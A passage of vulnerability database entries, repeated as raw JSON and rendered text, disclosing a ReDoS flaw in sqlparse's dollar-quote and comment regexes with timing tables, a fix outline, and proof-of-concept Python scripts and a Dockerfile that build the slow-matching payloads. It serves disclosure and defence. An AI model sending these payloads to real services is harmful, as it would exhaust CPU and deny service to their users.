tokens.Literal),\n```\n\nThis pattern first captures a dollar-quote delimiter (e.g., `$tag$`) into group 1, then attempts to match any characters (`[\\s\\S]*?`) up to the same delimiter again via backreference `\\1`. When no matching closing delimiter exists, the regex engine exhausts the remaining input before concluding there is no match. For a sequence of N unique unmatched openers, each opener triggers a full scan of the remaining string, yielding O(N\u00b2) total regex work.\n\nThe lexer applies this regex at every character position (`sqlparse/lexer.py:136-138`):\n\n```python\n# sqlparse/lexer.py:136-138\nfor pos, char in iterable:\n    for rexmatch, action in self._SQL_REGEX:\n        m = rexmatch(text, pos)\n```\n\nThe data flow from public API to the vulnerable sink is:\n\n1. `sqlparse/__init__.py:20` \u2014 `parse(sql)` accepts caller-controlled SQL.\n2. `sqlparse/__init__.py:29` \u2014 delegates to `parsestream(sql, encoding)`.\n3. `sqlparse/__init__.py:43` \u2014 `FilterStack.run(stream, encoding)` is invoked.\n4. `sqlparse/engine/filter_stack.py:31` \u2014 `lexer.tokenize(sql, encoding)` is called with no length limit or timeout.\n5. `sqlparse/lexer.py:137` \u2014 every regex in `_SQL_REGEX` is tried at the current position.\n6. `sqlparse/keywords.py:33` \u2014 the backreference regex performs repeated delimiter searches.\n\nThe `MAX_GROUPING_TOKENS = 10000` limit in `sqlparse/engine/grouping.py:20` fires only after lexing completes and does not bound regex CPU time. There is no input length check, delimiter count check, or regex timeout before the sink.\n\nEmpirically measured scaling confirms super-linear complexity:\n\n| Input (N unique openers) | Bytes  | Elapsed  |\n|--------------------------|--------|----------|\n| 250                      | 1,889  | 0.066 s  |\n| 500                      | 3,889  | 0.144 s  |\n| 1,000                    | 7,889  | 0.397 s  |\n| 2,000                    | 16,889 | 1.314 s  |\n\nThe timing ratio from n=1000 to n=2000 is **3.31\u00d7** (input doubled \u2192 time tripled), confirming O(n\u00b2) growth.\n\n### PoC\n\n**Prerequisites:** Python 3.x with sqlparse installed (tested against version `0.5.6.dev0`, commit `c923da9`).\n\n**Using Docker (isolated reproduction):**\n\n```bash\n# Build from the repository root (parent of vuln-001/)\ndocker build -t sqlparse-vuln001 -f vuln-001/Dockerfile .\n\n# Run with no network access\ndocker run --rm --network=none sqlparse-vuln001\n```\n\n**Direct Python reproduction:**\n\n```python\nimport time\nimport sqlparse\nfrom sqlparse.exceptions import SQLParseError\n\ndef make_payload(n: int) -\u003e str:\n    # N unique unmatched dollar-quote openers \u2014 none have a matching closing delimiter\n    return \" \".join(f\"$a{i}$x\" for i in range(n))\n\nfor n in [250, 500, 1000, 2000]:\n    payload = make_payload(n)\n    t0 = time.perf_counter()\n    try:\n        sqlparse.parse(payload)\n        status = \"ok\"\n    except SQLParseError as e:\n        status = f\"SQLParseError: {e}\"\n    elapsed = time.perf_counter() - t0\n    print(f\"n={n:\u003e5}  bytes={len(payload):\u003e7}  elapsed={elapsed:.3f}s  status={status}\")\n```\n\n**Expected output (super-linear scaling confirms ReDoS):**\n\n```\nn=  250  bytes=   1889  elapsed=0.066s  status=ok\nn=  500  bytes=   3889  elapsed=0.144s  status=ok\nn= 1000  bytes=   7889  elapsed=0.397s  status=ok\nn= 2000  bytes=  16889  elapsed=1.314s  status=ok\n\nKey ratio (n=1000 -\u003e n=2000): 3.31x\n[PASS] Super-linear (O(n^2)) scaling CONFIRMED.\n```\n\n**Attack input structure:**\n\n```\n$a0$x $a1$x $a2$x ... $a{N-1}$x\n```\n\nEach token `$ai$x` resembles a PostgreSQL-style dollar-quote opening tag. Because every tag is unique and no closing tag is present, the regex engine must scan to the end of the string for each opener before backtracking.\n\n**Remediation (proposed patch):**\n\nReplace the backreference regex with a deterministic two-pass approach: first locate all delimiter positions with `re.finditer`, then resolve open/close pairs in O(n) time, eliminating catastrophic backtracking entirely. See `report_excerpt.md` for the full diff.\n\n### Additional affected pattern: multiline comments\n\nReported independently as GHSA-3crh-2448-7855 (by @7thParkk) and merged into this advisory: it is the same defect class in the same lexer loop, and it is addressed by the same fix.\n\nTwo further entries in `SQL_REGEX` use the same lazy dot-all shape, terminated by a literal delimiter instead of a backreference:\n\n```python\n# sqlparse/keywords.py:20\n(r\u0027/\\*\\+[\\s\\S]*?\\*/\u0027, tokens.Comment.Multiline.Hint),\n# sqlparse/keywords.py:23\n(r\u0027/\\*[\\s\\S]*?\\*/\u0027,    tokens.Comment.Multiline),\n```\n\nA backreference is not required to trigger the quadratic behaviour. The cost comes from the lexer retrying every pattern at every input position (`sqlparse/lexer.py:136-138`): an unterminated `/*` scans to the end of the input and fails, so N unclosed openers cost O(N\u00b2).\n\n**PoC**\n\n```python\nimport time, sqlparse\n\nfor n in (2000, 4000, 8000, 16000):\n    payload = \"/*x \" * n\n    t0 = time.perf_counter()\n    sqlparse.parse(payload)\n    print(f\"n={n:6d}  bytes={len(payload):7d}  elapsed={time.perf_counter()-t0:.3f}s\")\n```\n\nLexing-only timings on `0.5.6.dev0` (commit `f80af6a`), isolating the regex work from grouping:\n\n| openers | bytes | lexing |\n|---------|-------|--------|\n| 2,000   | 8 KB  | 0.057 s |\n| 4,000   | 16 KB | 0.196 s |\n| 8,000   | 32 KB | 0.729 s |\n| 16,000  | 64 KB | 2.717 s |\n\nRoughly 3.7x per doubling of the input, i.e. quadratic.\n\n**Note for reproduction:** `\"/*\" * n` on its own is *linear* and does not reproduce the issue \u2014 in `/*/*/*...` the openers form overlapping `*/` pairs, so the pattern matches immediately. The opener must be padded (e.g. `\"/*x \"`) so that it never closes. A reproduction that only tries the unpadded form will wrongly conclude the issue is not present.\n\n### Impact\n\nThis is a **Regular Expression Denial of Service (ReDoS)** vulnerability. Any application or service that passes user-controlled SQL text to `sqlparse.parse()`, `sqlparse.format()`, or `sqlparse.split()` is affected. No authentication, special configuration, or elevated privileges are required \u2014 a single crafted HTTP request (or any other input channel carrying SQL text) is sufficient.\n\nUnder sustained attack, one or more CPU cores can be kept at 100% utilization, degrading or completely blocking service for all other users. Because the grouping-stage token limit fires only after the regex work is done, it provides no protection against this attack.\n\nAffected use cases include: web applications that accept and display or format SQL; database administration tools; ORM query inspectors; SQL linters and formatters exposed as APIs.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.11-slim\n\n# Install build dependencies\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n    build-essential \\\n    \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# Copy the sqlparse repository source code\nCOPY repo/ /app/repo/\n\n# Install sqlparse from local source in editable mode\nRUN pip install --no-cache-dir -e /app/repo/\n\n# Copy the PoC script (build context is the parent of vuln-001/)\nCOPY vuln-001/poc.py /app/poc.py\n\n# Default: run the PoC\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nPoC: ReDoS in sqlparse dollar-quoted literal regex (VULN-001)\n\nAffected code: sqlparse/keywords.py:33\n    (r\u0027((?\u003c![\\\\w\\\\\"\\\\$])\\\\$(?:[_A-Z\u00c0-\u00dc]\\\\w*)?\\\\$)[\\\\s\\\\S]*?\\\\1\u0027, tokens.Literal)\n\nThe backreference \\\\1 forces the regex engine to scan the entire remaining input\nfor each unmatched unique dollar-quote delimiter, yielding O(n^2) CPU complexity.\n\nAttack input: a sequence of N unique, never-closed dollar-quote openers\n    $a0$x $a1$x $a2$x ... $a{N-1}$x\n\nEach opener $ai$ is unique, so the regex engine must exhaust the remaining\nstring before concluding no match exists.  With N openers this creates\nO(N^2) regex work.\n\nExpected observation: elapsed time grows quadratically (roughly 4x per 2x N).\nPASS criterion: timing ratio between n=2000 and n=1000 \u003e= 3.0 (clear super-linear).\n\"\"\"\n\nimport sys\nimport time\n\ntry:\n    import sqlparse\n    from sqlparse.exceptions import SQLParseError\nexcept ImportError as exc:\n    print(f\"[ERROR] Cannot import sqlparse: {exc}\", file=sys.stderr)\n    sys.exit(2)\n\nprint(\"=\" * 60)\nprint(\"VULN-001 ReDoS PoC: sqlparse dollar-quoted literal regex\")\nprint(\"=\" * 60)\nprint(f\"sqlparse version: {sqlparse.__version__}\")\nprint()\n\n\ndef make_payload(n: int) -\u003e str:\n    \"\"\"Generate N unique unmatched dollar-quote openers.\n\n    Each token \u0027$ai$x\u0027 looks like an opening dollar-quote delimiter\n    but never has a closing delimiter, so the regex engine must scan\n    the entire remaining string before giving up on each one.\n    \"\"\"\n    return \" \".join(f\"$a{i}$x\" for i in range(n))\n\n\nresults = []\n\nsample_sizes = [250, 500, 1000, 2000]\n\nfor n in sample_sizes:\n    payload = make_payload(n)\n    byte_len = len(payload.encode())\n    t_start = time.perf_counter()\n    try:\n        sqlparse.parse(payload)\n        status = \"ok\"\n    except SQLParseError as exc:\n        status = f\"SQLParseError({exc})\"\n    except Exception as exc:\n        status = f\"Exception({type(exc).__name__}: {exc})\"\n    elapsed = time.perf_counter() - t_start\n\n    results.append((n, byte_len, elapsed, status))\n    print(f\"n={n:\u003e5}  bytes={byte_len:\u003e7}  elapsed={elapsed:\u003e8.3f}s  status={status}\")\n\nprint()\n\n# Compute scaling ratios between consecutive sample sizes\nprint(\"Scaling analysis (O(n^2) expected -\u003e ratio \u003e= ~4x per 2x input):\")\nfor i in range(1, len(results)):\n    n_prev, _, t_prev, _ = results[i - 1]\n    n_curr, _, t_curr, _ = results[i]\n    if t_prev \u003e 0:\n        ratio = t_curr / t_prev\n        n_ratio = n_curr / n_prev\n        print(f\"  n={n_prev} -\u003e n={n_curr} (input x{n_ratio:.1f}): time ratio = {ratio:.2f}x\")\n\nprint()\n\n# PASS/FAIL verdict based on timing ratio between largest two points\n_, _, t_1000, _ = results[2]  # n=1000\n_, _, t_2000, _ = results[3]  # n=2000\n\nPASS_THRESHOLD = 3.0\n\nif t_1000 \u003e 0:\n    ratio_1000_2000 = t_2000 / t_1000\nelse:\n    ratio_1000_2000 = 0.0\n\nprint(f\"Key ratio (n=1000 -\u003e n=2000): {ratio_1000_2000:.2f}x\")\n\nif ratio_1000_2000 \u003e= PASS_THRESHOLD:\n    print()\n    print(\"[PASS] Super-linear (O(n^2)) scaling CONFIRMED.\")\n    print(f\"       Time ratio {ratio_1000_2000:.2f}x \u003e= threshold {PASS_THRESHOLD}x.\")\n    print(\"       ReDoS vulnerability in sqlparse dollar-quote regex is REPRODUCED.\")\n    sys.exit(0)\nelse:\n    print()\n    print(\"[FAIL] Super-linear scaling NOT confirmed within this run.\")\n    print(f\"       Time ratio {ratio_1000_2000:.2f}x \u003c threshold {PASS_THRESHOLD}x.\")\n    print(\"       The host may be too fast or JIT effects obscured the result.\")\n    print(\"       Try larger sample sizes or re-run on a slower host.\")\n    sys.exit(1)\n```",
  "id": "BREW-litecli-CVE-2026-59893",
  "modified": "2026-09-10T19:42:52Z",
  "published": "2026-08-18T09:06:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-prg7-hcfm-mfcr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/andialbrecht/sqlparse/commit/d1d80602741f77ec78e5a04ce4719244cf32352e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/andialbrecht/sqlparse"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "sqlparse: Inefficient Regex Handling of Dollar-Quoted SQL Literals Leads to ReDoS (Denial of Service)",
  "upstream": [
    "GHSA-prg7-hcfm-mfcr",
    "CVE-2026-59893",
    "PYSEC-2026-3698"
  ]
}

BREW-MYCLI-CVE-2026-59893 (GHSA-PRG7-HCFM-MFCR)

Vulnerability from osv_homebrew – Published: 2026-08-18 09:19 – Updated: 2026-09-10 00:35 – Source website

Summary

sqlparse: Inefficient Regex Handling of Dollar-Quoted SQL Literals Leads to ReDoS (Denial of Service)

Details

Summary

sqlparse contains a Regular Expression Denial of Service (ReDoS) vulnerability in its dollar-quoted SQL literal lexer. The regex pattern at sqlparse/keywords.py:33 uses a backreference (\1) to match closing dollar-quote delimiters, causing O(n²) CPU complexity when processing inputs containing many unique, unmatched dollar-quote opening sequences. An attacker who can supply arbitrary SQL text to any application using sqlparse can trigger sustained CPU exhaustion, resulting in a denial of service. No authentication or special privileges are required.

Scope note: the same regex shape — a lazy dot-all quantifier terminated by a delimiter, applied at every input position by the lexer loop — is also present in the two multiline-comment patterns. Those are covered by this advisory and by the same fix; see "Additional affected pattern: multiline comments" below.

Details

The vulnerable regex is defined in sqlparse/keywords.py as part of SQL_REGEX:

# sqlparse/keywords.py:33
(r'((?<![\w\"\$])\$(?:[_A-ZÀ-Ü]\w*)?\$)[\s\S]*?\1', tokens.Literal),

This pattern first captures a dollar-quote delimiter (e.g., $tag$ ) into group 1, then attempts to match any characters ([\s\S]*?) up to the same delimiter again via backreference \1. When no matching closing delimiter exists, the regex engine exhausts the remaining input before concluding there is no match. For a sequence of N unique unmatched openers, each opener triggers a full scan of the remaining string, yielding O(N²) total regex work.

The lexer applies this regex at every character position (sqlparse/lexer.py:136-138):

# sqlparse/lexer.py:136-138
for pos, char in iterable:
    for rexmatch, action in self._SQL_REGEX:
        m = rexmatch(text, pos)

The data flow from public API to the vulnerable sink is:

sqlparse/__init__.py:20 — parse(sql) accepts caller-controlled SQL.
sqlparse/__init__.py:29 — delegates to parsestream(sql, encoding).
sqlparse/__init__.py:43 — FilterStack.run(stream, encoding) is invoked.
sqlparse/engine/filter_stack.py:31 — lexer.tokenize(sql, encoding) is called with no length limit or timeout.
sqlparse/lexer.py:137 — every regex in _SQL_REGEX is tried at the current position.
sqlparse/keywords.py:33 — the backreference regex performs repeated delimiter searches.

The MAX_GROUPING_TOKENS = 10000 limit in sqlparse/engine/grouping.py:20 fires only after lexing completes and does not bound regex CPU time. There is no input length check, delimiter count check, or regex timeout before the sink.

Empirically measured scaling confirms super-linear complexity:

Input (N unique openers)	Bytes	Elapsed
250	1,889	0.066 s
500	3,889	0.144 s
1,000	7,889	0.397 s
2,000	16,889	1.314 s

The timing ratio from n=1000 to n=2000 is 3.31× (input doubled → time tripled), confirming O(n²) growth.

PoC

Prerequisites: Python 3.x with sqlparse installed (tested against version 0.5.6.dev0, commit c923da9).

Using Docker (isolated reproduction):

# Build from the repository root (parent of vuln-001/)
docker build -t sqlparse-vuln001 -f vuln-001/Dockerfile .

# Run with no network access
docker run --rm --network=none sqlparse-vuln001

Direct Python reproduction:

import time
import sqlparse
from sqlparse.exceptions import SQLParseError

def make_payload(n: int) -> str:
    # N unique unmatched dollar-quote openers — none have a matching closing delimiter
    return " ".join(f"$a{i}$x" for i in range(n))

for n in [250, 500, 1000, 2000]:
    payload = make_payload(n)
    t0 = time.perf_counter()
    try:
        sqlparse.parse(payload)
        status = "ok"
    except SQLParseError as e:
        status = f"SQLParseError: {e}"
    elapsed = time.perf_counter() - t0
    print(f"n={n:>5}  bytes={len(payload):>7}  elapsed={elapsed:.3f}s  status={status}")

Expected output (super-linear scaling confirms ReDoS):

n=  250  bytes=   1889  elapsed=0.066s  status=ok
n=  500  bytes=   3889  elapsed=0.144s  status=ok
n= 1000  bytes=   7889  elapsed=0.397s  status=ok
n= 2000  bytes=  16889  elapsed=1.314s  status=ok

Key ratio (n=1000 -> n=2000): 3.31x
[PASS] Super-linear (O(n^2)) scaling CONFIRMED.

Attack input structure:

$a0$x $a1$x $a2$x ... $a{N-1}$x

Each token $ai$x resembles a PostgreSQL-style dollar-quote opening tag. Because every tag is unique and no closing tag is present, the regex engine must scan to the end of the string for each opener before backtracking.

Remediation (proposed patch):

Replace the backreference regex with a deterministic two-pass approach: first locate all delimiter positions with re.finditer, then resolve open/close pairs in O(n) time, eliminating catastrophic backtracking entirely. See report_excerpt.md for the full diff.

Additional affected pattern: multiline comments

Reported independently as GHSA-3crh-2448-7855 (by @7thParkk) and merged into this advisory: it is the same defect class in the same lexer loop, and it is addressed by the same fix.

Two further entries in SQL_REGEX use the same lazy dot-all shape, terminated by a literal delimiter instead of a backreference:

# sqlparse/keywords.py:20
(r'/\*\+[\s\S]*?\*/', tokens.Comment.Multiline.Hint),
# sqlparse/keywords.py:23
(r'/\*[\s\S]*?\*/',    tokens.Comment.Multiline),

A backreference is not required to trigger the quadratic behaviour. The cost comes from the lexer retrying every pattern at every input position (sqlparse/lexer.py:136-138): an unterminated /* scans to the end of the input and fails, so N unclosed openers cost O(N²).

PoC

import time, sqlparse

for n in (2000, 4000, 8000, 16000):
    payload = "/*x " * n
    t0 = time.perf_counter()
    sqlparse.parse(payload)
    print(f"n={n:6d}  bytes={len(payload):7d}  elapsed={time.perf_counter()-t0:.3f}s")

Lexing-only timings on 0.5.6.dev0 (commit f80af6a), isolating the regex work from grouping:

openers	bytes	lexing
2,000	8 KB	0.057 s
4,000	16 KB	0.196 s
8,000	32 KB	0.729 s
16,000	64 KB	2.717 s

Roughly 3.7x per doubling of the input, i.e. quadratic.

Note for reproduction: "/*" * n on its own is linear and does not reproduce the issue — in /*/*/*... the openers form overlapping */ pairs, so the pattern matches immediately. The opener must be padded (e.g. "/*x ") so that it never closes. A reproduction that only tries the unpadded form will wrongly conclude the issue is not present.

Impact

This is a Regular Expression Denial of Service (ReDoS) vulnerability. Any application or service that passes user-controlled SQL text to sqlparse.parse(), sqlparse.format(), or sqlparse.split() is affected. No authentication, special configuration, or elevated privileges are required — a single crafted HTTP request (or any other input channel carrying SQL text) is sufficient.

Under sustained attack, one or more CPU cores can be kept at 100% utilization, degrading or completely blocking service for all other users. Because the grouping-stage token limit fires only after the regex work is done, it provides no protection against this attack.

Affected use cases include: web applications that accept and display or format SQL; database administration tools; ORM query inspectors; SQL linters and formatters exposed as APIs.

Reproduction artifacts

`Dockerfile`

FROM python:3.11-slim

# Install build dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
    build-essential \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /app

# Copy the sqlparse repository source code
COPY repo/ /app/repo/

# Install sqlparse from local source in editable mode
RUN pip install --no-cache-dir -e /app/repo/

# Copy the PoC script (build context is the parent of vuln-001/)
COPY vuln-001/poc.py /app/poc.py

# Default: run the PoC
CMD ["python3", "/app/poc.py"]

`poc.py`

"""
PoC: ReDoS in sqlparse dollar-quoted literal regex (VULN-001)

Affected code: sqlparse/keywords.py:33
    (r'((?<![\\w\\"\\$])\\$(?:[_A-ZÀ-Ü]\\w*)?\\$)[\\s\\S]*?\\1', tokens.Literal)

The backreference \\1 forces the regex engine to scan the entire remaining input
for each unmatched unique dollar-quote delimiter, yielding O(n^2) CPU complexity.

Attack input: a sequence of N unique, never-closed dollar-quote openers
    $a0$x $a1$x $a2$x ... $a{N-1}$x

Each opener $ai$ is unique, so the regex engine must exhaust the remaining
string before concluding no match exists.  With N openers this creates
O(N^2) regex work.

Expected observation: elapsed time grows quadratically (roughly 4x per 2x N).
PASS criterion: timing ratio between n=2000 and n=1000 >= 3.0 (clear super-linear).
"""

import sys
import time

try:
    import sqlparse
    from sqlparse.exceptions import SQLParseError
except ImportError as exc:
    print(f"[ERROR] Cannot import sqlparse: {exc}", file=sys.stderr)
    sys.exit(2)

print("=" * 60)
print("VULN-001 ReDoS PoC: sqlparse dollar-quoted literal regex")
print("=" * 60)
print(f"sqlparse version: {sqlparse.__version__}")
print()


def make_payload(n: int) -> str:
    """Generate N unique unmatched dollar-quote openers.

    Each token '$ai$x' looks like an opening dollar-quote delimiter
    but never has a closing delimiter, so the regex engine must scan
    the entire remaining string before giving up on each one.
    """
    return " ".join(f"$a{i}$x" for i in range(n))


results = []

sample_sizes = [250, 500, 1000, 2000]

for n in sample_sizes:
    payload = make_payload(n)
    byte_len = len(payload.encode())
    t_start = time.perf_counter()
    try:
        sqlparse.parse(payload)
        status = "ok"
    except SQLParseError as exc:
        status = f"SQLParseError({exc})"
    except Exception as exc:
        status = f"Exception({type(exc).__name__}: {exc})"
    elapsed = time.perf_counter() - t_start

    results.append((n, byte_len, elapsed, status))
    print(f"n={n:>5}  bytes={byte_len:>7}  elapsed={elapsed:>8.3f}s  status={status}")

print()

# Compute scaling ratios between consecutive sample sizes
print("Scaling analysis (O(n^2) expected -> ratio >= ~4x per 2x input):")
for i in range(1, len(results)):
    n_prev, _, t_prev, _ = results[i - 1]
    n_curr, _, t_curr, _ = results[i]
    if t_prev > 0:
        ratio = t_curr / t_prev
        n_ratio = n_curr / n_prev
        print(f"  n={n_prev} -> n={n_curr} (input x{n_ratio:.1f}): time ratio = {ratio:.2f}x")

print()

# PASS/FAIL verdict based on timing ratio between largest two points
_, _, t_1000, _ = results[2]  # n=1000
_, _, t_2000, _ = results[3]  # n=2000

PASS_THRESHOLD = 3.0

if t_1000 > 0:
    ratio_1000_2000 = t_2000 / t_1000
else:
    ratio_1000_2000 = 0.0

print(f"Key ratio (n=1000 -> n=2000): {ratio_1000_2000:.2f}x")

if ratio_1000_2000 >= PASS_THRESHOLD:
    print()
    print("[PASS] Super-linear (O(n^2)) scaling CONFIRMED.")
    print(f"       Time ratio {ratio_1000_2000:.2f}x >= threshold {PASS_THRESHOLD}x.")
    print("       ReDoS vulnerability in sqlparse dollar-quote regex is REPRODUCED.")
    sys.exit(0)
else:
    print()
    print("[FAIL] Super-linear scaling NOT confirmed within this run.")
    print(f"       Time ratio {ratio_1000_2000:.2f}x < threshold {PASS_THRESHOLD}x.")
    print("       The host may be too fast or JIT effects obscured the result.")
    print("       Try larger sample sizes or re-run on a slower host.")
    sys.exit(1)

Severity

7.5 (High)


                    
                      CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

URL

Type

	https://github.com/andialbrecht/sqlparse/security…	WEB
	https://github.com/andialbrecht/sqlparse/commit/d…	WEB
	https://github.com/andialbrecht/sqlparse	PACKAGE

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "sqlparse",
        "resource_purl": "pkg:pypi/sqlparse@0.6.0",
        "upstream_fixed_in": "0.6.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "mycli",
        "purl": "pkg:brew/mycli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.19.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/sqlparse@0.6.0",
        "name": "sqlparse",
        "resource": "sqlparse",
        "strategy": "registry",
        "subject_version": "0.6.0"
      }
    ]
  },
  "details": "### Summary\n\nsqlparse contains a Regular Expression Denial of Service (ReDoS) vulnerability in its dollar-quoted SQL literal lexer. The regex pattern at `sqlparse/keywords.py:33` uses a backreference (`\\1`) to match closing dollar-quote delimiters, causing O(n\u00b2) CPU complexity when processing inputs containing many unique, unmatched dollar-quote opening sequences. An attacker who can supply arbitrary SQL text to any application using sqlparse can trigger sustained CPU exhaustion, resulting in a denial of service. No authentication or special privileges are required.\n\n**Scope note:** the same regex shape \u2014 a lazy dot-all quantifier terminated by a delimiter, applied at every input position by the lexer loop \u2014 is also present in the two multiline-comment patterns. Those are covered by this advisory and by the same fix; see \"Additional affected pattern: multiline comments\" below.\n\n### Details\n\nThe vulnerable regex is defined in `sqlparse/keywords.py` as part of `SQL_REGEX`:\n\n```python\n# sqlparse/keywords.py:33\n(r\u0027((?\u003c![\\w\\\"\\$])\\$(?:[_A-Z\u00c0-\u00dc]\\w*)?\\$)[\\s\\S]*?\\1\u0027, tokens.Literal),\n```\n\nThis pattern first captures a dollar-quote delimiter (e.g., `$tag$`) into group 1, then attempts to match any characters (`[\\s\\S]*?`) up to the same delimiter again via backreference `\\1`. When no matching closing delimiter exists, the regex engine exhausts the remaining input before concluding there is no match. For a sequence of N unique unmatched openers, each opener triggers a full scan of the remaining string, yielding O(N\u00b2) total regex work.\n\nThe lexer applies this regex at every character position (`sqlparse/lexer.py:136-138`):\n\n```python\n# sqlparse/lexer.py:136-138\nfor pos, char in iterable:\n    for rexmatch, action in self._SQL_REGEX:\n        m = rexmatch(text, pos)\n```\n\nThe data flow from public API to the vulnerable sink is:\n\n1. `sqlparse/__init__.py:20` \u2014 `parse(sql)` accepts caller-controlled SQL.\n2. `sqlparse/__init__.py:29` \u2014 delegates to `parsestream(sql, encoding)`.\n3. `sqlparse/__init__.py:43` \u2014 `FilterStack.run(stream, encoding)` is invoked.\n4. `sqlparse/engine/filter_stack.py:31` \u2014 `lexer.tokenize(sql, encoding)` is called with no length limit or timeout.\n5. `sqlparse/lexer.py:137` \u2014 every regex in `_SQL_REGEX` is tried at the current position.\n6. `sqlparse/keywords.py:33` \u2014 the backreference regex performs repeated delimiter searches.\n\nThe `MAX_GROUPING_TOKENS = 10000` limit in `sqlparse/engine/grouping.py:20` fires only after lexing completes and does not bound regex CPU time. There is no input length check, delimiter count check, or regex timeout before the sink.\n\nEmpirically measured scaling confirms super-linear complexity:\n\n| Input (N unique openers) | Bytes  | Elapsed  |\n|--------------------------|--------|----------|\n| 250                      | 1,889  | 0.066 s  |\n| 500                      | 3,889  | 0.144 s  |\n| 1,000                    | 7,889  | 0.397 s  |\n| 2,000                    | 16,889 | 1.314 s  |\n\nThe timing ratio from n=1000 to n=2000 is **3.31\u00d7** (input doubled \u2192 time tripled), confirming O(n\u00b2) growth.\n\n### PoC\n\n**Prerequisites:** Python 3.x with sqlparse installed (tested against version `0.5.6.dev0`, commit `c923da9`).\n\n**Using Docker (isolated reproduction):**\n\n```bash\n# Build from the repository root (parent of vuln-001/)\ndocker build -t sqlparse-vuln001 -f vuln-001/Dockerfile .\n\n# Run with no network access\ndocker run --rm --network=none sqlparse-vuln001\n```\n\n**Direct Python reproduction:**\n\n```python\nimport time\nimport sqlparse\nfrom sqlparse.exceptions import SQLParseError\n\ndef make_payload(n: int) -\u003e str:\n    # N unique unmatched dollar-quote openers \u2014 none have a matching closing delimiter\n    return \" \".join(f\"$a{i}$x\" for i in range(n))\n\nfor n in [250, 500, 1000, 2000]:\n    payload = make_payload(n)\n    t0 = time.perf_counter()\n    try:\n        sqlparse.parse(payload)\n        status = \"ok\"\n    except SQLParseError as e:\n        status = f\"SQLParseError: {e}\"\n    elapsed = time.perf_counter() - t0\n    print(f\"n={n:\u003e5}  bytes={len(payload):\u003e7}  elapsed={elapsed:.3f}s  status={status}\")\n```\n\n**Expected output (super-linear scaling confirms ReDoS):**\n\n```\nn=  250  bytes=   1889  elapsed=0.066s  status=ok\nn=  500  bytes=   3889  elapsed=0.144s  status=ok\nn= 1000  bytes=   7889  elapsed=0.397s  status=ok\nn= 2000  bytes=  16889  elapsed=1.314s  status=ok\n\nKey ratio (n=1000 -\u003e n=2000): 3.31x\n[PASS] Super-linear (O(n^2)) scaling CONFIRMED.\n```\n\n**Attack input structure:**\n\n```\n$a0$x $a1$x $a2$x ... $a{N-1}$x\n```\n\nEach token `$ai$x` resembles a PostgreSQL-style dollar-quote opening tag. Because every tag is unique and no closing tag is present, the regex engine must scan to the end of the string for each opener before backtracking.\n\n**Remediation (proposed patch):**\n\nReplace the backreference regex with a deterministic two-pass approach: first locate all delimiter positions with `re.finditer`, then resolve open/close pairs in O(n) time, eliminating catastrophic backtracking entirely. See `report_excerpt.md` for the full diff.\n\n### Additional affected pattern: multiline comments\n\nReported independently as GHSA-3crh-2448-7855 (by @7thParkk) and merged into this advisory: it is the same defect class in the same lexer loop, and it is addressed by the same fix.\n\nTwo further entries in `SQL_REGEX` use the same lazy dot-all shape, terminated by a literal delimiter instead of a backreference:\n\n```python\n# sqlparse/keywords.py:20\n(r\u0027/\\*\\+[\\s\\S]*?\\*/\u0027, tokens.Comment.Multiline.Hint),\n# sqlparse/keywords.py:23\n(r\u0027/\\*[\\s\\S]*?\\*/\u0027,    tokens.Comment.Multiline),\n```\n\nA backreference is not required to trigger the quadratic behaviour. The cost comes from the lexer retrying every pattern at every input position (`sqlparse/lexer.py:136-138`): an unterminated `/*` scans to the end of the input and fails, so N unclosed openers cost O(N\u00b2).\n\n**PoC**\n\n```python\nimport time, sqlparse\n\nfor n in (2000, 4000, 8000, 16000):\n    payload = \"/*x \" * n\n    t0 = time.perf_counter()\n    sqlparse.parse(payload)\n    print(f\"n={n:6d}  bytes={len(payload):7d}  elapsed={time.perf_counter()-t0:.3f}s\")\n```\n\nLexing-only timings on `0.5.6.dev0` (commit `f80af6a`), isolating the regex work from grouping:\n\n| openers | bytes | lexing |\n|---------|-------|--------|\n| 2,000   | 8 KB  | 0.057 s |\n| 4,000   | 16 KB | 0.196 s |\n| 8,000   | 32 KB | 0.729 s |\n| 16,000  | 64 KB | 2.717 s |\n\nRoughly 3.7x per doubling of the input, i.e. quadratic.\n\n**Note for reproduction:** `\"/*\" * n` on its own is *linear* and does not reproduce the issue \u2014 in `/*/*/*...` the openers form overlapping `*/` pairs, so the pattern matches immediately. The opener must be padded (e.g. `\"/*x \"`) so that it never closes. A reproduction that only tries the unpadded form will wrongly conclude the issue is not present.\n\n### Impact\n\nThis is a **Regular Expression Denial of Service (ReDoS)** vulnerability. Any application or service that passes user-controlled SQL text to `sqlparse.parse()`, `sqlparse.format()`, or `sqlparse.split()` is affected. No authentication, special configuration, or elevated privileges are required \u2014 a single crafted HTTP request (or any other input channel carrying SQL text) is sufficient.\n\nUnder sustained attack, one or more CPU cores can be kept at 100% utilization, degrading or completely blocking service for all other users. Because the grouping-stage token limit fires only after the regex work is done, it provides no protection against this attack.\n\nAffected use cases include: web applications that accept and display or format SQL; database administration tools; ORM query inspectors; SQL linters and formatters exposed as APIs.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM 